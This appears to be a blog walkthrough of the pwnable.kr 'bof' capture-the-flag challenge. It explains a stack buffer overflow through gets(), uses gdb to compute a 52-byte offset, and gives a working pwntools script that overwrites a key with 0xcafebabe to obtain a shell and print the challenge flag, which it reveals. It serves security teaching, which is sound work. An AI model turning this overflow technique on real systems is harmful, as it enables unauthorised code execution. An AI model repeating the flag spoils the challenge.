August 30, 2026
BOF β Walkthrough [pwnable.kr]
Hey guys! welcome back π₯³, Itβs been a long time since we posted our last walkthrough. I was busy with my exams and this challenge isβ¦
By Nitish ram
5 min read
Hey guys! welcome back π₯³, It's been a long time since we posted our last walkthrough. I was busy with my exams and this challenge is little bit different and difficult comparing to the old ones.
But of course, in hacking, the difficulty is what makes the challenge interesting. You can't grow by always playing it safe and sticking to easy challenges.
In this challenge we will learn about buffer overflow, why does it occur, where to find it and how to exploit it. And in addition we will also learn the basics of assembly languages, reverse engineering and also you will write your first basic exploit using pwntools.
What is a Buffer overflow?
A buffer overflow is a vulnerability that occurs when a program writes more data into a fixed memory size.
Think of a buffer as a small container that can hold upto 1 litre. And you've kept the container near your laptop or something else and, now you are trying to fill the container with 1.25 litres of water. When you are trying to fill more than 1 litre the extra water will get overflowed and will affect the laptop nearby.
Like the above analogy, buffer is a temporary memory storage with fixed size, if you try to fill the buffer with overwhelming data, it will get overflowed and affect the nearby memory and can cause crashes or corruption of program data or the program will become vulnerable for arbitrary code execution.
Walkthrough
STEP 1 β Connect to the Remote SSH Server
The first step is to connect to the remote ssh server using ssh on your terminal .
Run:
$ ssh bof@pwnable.kr -p 2222$ ssh bof@pwnable.kr -p 2222This command logs you into the bof user account on the pwnable.kr server using SSH over port 2222
- ssh β starts a SSH session
- bof β username
- pwnable.kr β hostname
- -p 2222 β specifies that it should connect on port 2222, not on default 22
After executing the command, enter the challenge password when prompted. Once authenticated, you'll be logged into the remote environment where the bof challenge is located. Here the password is guest. Its given on the challenge itself.
STEP 2 β Inspect the Challenge Files
After successfully logging into the remote server you will see similar output like the above image. The next step is to examine the files provided for the challenge. First list the contents of the directory.
Run:
$ ls -l$ ls -lYou should see similar output to :
here,
- bof β Executable file
- bof.c β The C code
- readme β It has instructions for solving this challenge
First lets analyze the readme file,
$ cat readme$ cat readme
We can see that the bof program is running at port 10003, we can use netcat to connect with it and interact
Run:
$ nc pwnable.kr 10003$ nc pwnable.kr 10003Note: Run this from your machine's terminal, don't ssh before doing it.
overflow me : AAAA
Nah..overflow me : AAAA
Nah..You will get a prompt like this and will ask for an input, try inputing "AAAA" or some random inputs. You will get this Nah.. as output.
Now lets analyze the code before entering the payload.
STEP 3 β Analyze the Source Code File
SSH into to bof@pwnable.kr then,
Run:
$ cat bof.c$ cat bof.cYou will get the following output:
Understanding the Code
Lets break the code into smaller pieces and analyze.
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
....
}void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
....
}In this function func, we can see that there is a character array of size 32 bytes. And its getting an input through gets() function.
Here the gets() function is the vulnerable function. Because it reads input from the user without knowing the size of the destination buffer.
Now from our example, overflowme[32] can hold only upto 32 bytes including the terminating "\0" ( null byte ).
Here the problem is even if the user enters 100 bytes of data it will accept the complete input. And that will get overflowed and affect the nearby memories.
...
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}...
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}Here we can see that if the key is equal to "0xcafebabe" (it is in hexadecimal). We will get a shell. With that shell, we can execute commands on the target system and access the available resources. The flag will be located there.
If not equals, it will print "Nah..", Like we got while accessing it using netcat.
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}In the main function, the function func is called and "0xdeadbeef" is passed as an argument.
Lets look at the assembly,
Run:
$ gdb ./bof$ gdb ./bofYou will get the following output
In the prompt enter the following commands,
$ disassemble func$ disassemble funcYou will get the following output,
Here the two main addresses are
0x00001230 <+51>: lea eax,[ebp-0x2c]
0x0000123c <+63>: cmp DWORD PTR [ebp+0x8],0xcafebabe0x00001230 <+51>: lea eax,[ebp-0x2c]
0x0000123c <+63>: cmp DWORD PTR [ebp+0x8],0xcafebabeHere we can see that [ebp-0x2c] is the starting address where the gets() function gets started. And the comparison is taking place at the [ebp+0x8]. So we need to calculate the distance between these two values at address [ebp+0x8] and [ebp-0x2c]. After subtracting we will get 52 bytes as the output.
We are calculating the distance because the overflow doesn't know about the variables, it only writes bytes sequentially in the memory. So till the memory poniter reaches the key we will supply random values and then we will supply the required key "0xcafebabe".
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}From the program given above we can see that if the key is equal to 0xcafebabe we will get a shell, with that shell we can find the flag.
STEP 4 β Write exploit
from pwn import *
r = remote("pwnable.kr", 10003)
r.sendline(b"A"*52 + p32(0xcafebabe))
r.sendline(b"cat flag")
r.shutdown("send")
print(r.recvall().decode(errors="ignore"))from pwn import *
r = remote("pwnable.kr", 10003)
r.sendline(b"A"*52 + p32(0xcafebabe))
r.sendline(b"cat flag")
r.shutdown("send")
print(r.recvall().decode(errors="ignore"))Here we are using a library called pwntools used for writing exploits and for solving many CTF challenges this library is used.
Here At first we are connecting to the remote server and then sending the payload and the command to view the contents of the flag. This will get the flag executed.
s-cache-3.14/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.15.0)
[+] Opening connection to pwnable.kr on port 10003: Done
[+] Receiving all data: Done (102B)
[*] Closed connection to pwnable.kr port 10003
overflow me : /bin/sh: 0: can't access tty; job control turned off
$ Daddy_I_just_pwned_a_buff3r!
$s-cache-3.14/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.15.0)
[+] Opening connection to pwnable.kr on port 10003: Done
[+] Receiving all data: Done (102B)
[*] Closed connection to pwnable.kr port 10003
overflow me : /bin/sh: 0: can't access tty; job control turned off
$ Daddy_I_just_pwned_a_buff3r!
$Finally here we got the flag as,
Daddy_I_just_pwned_a_buff3r!Daddy_I_just_pwned_a_buff3r!I hope you enjoyed this walkthrough and gained a better understanding of what Buffer Overflow is. And I'm sure that you've learnt something new if your new to CTFs.
If you found this guide helpful, stay tuned for more walkthroughs. Until then, keep learning, keep experimenting, and happy hacking! π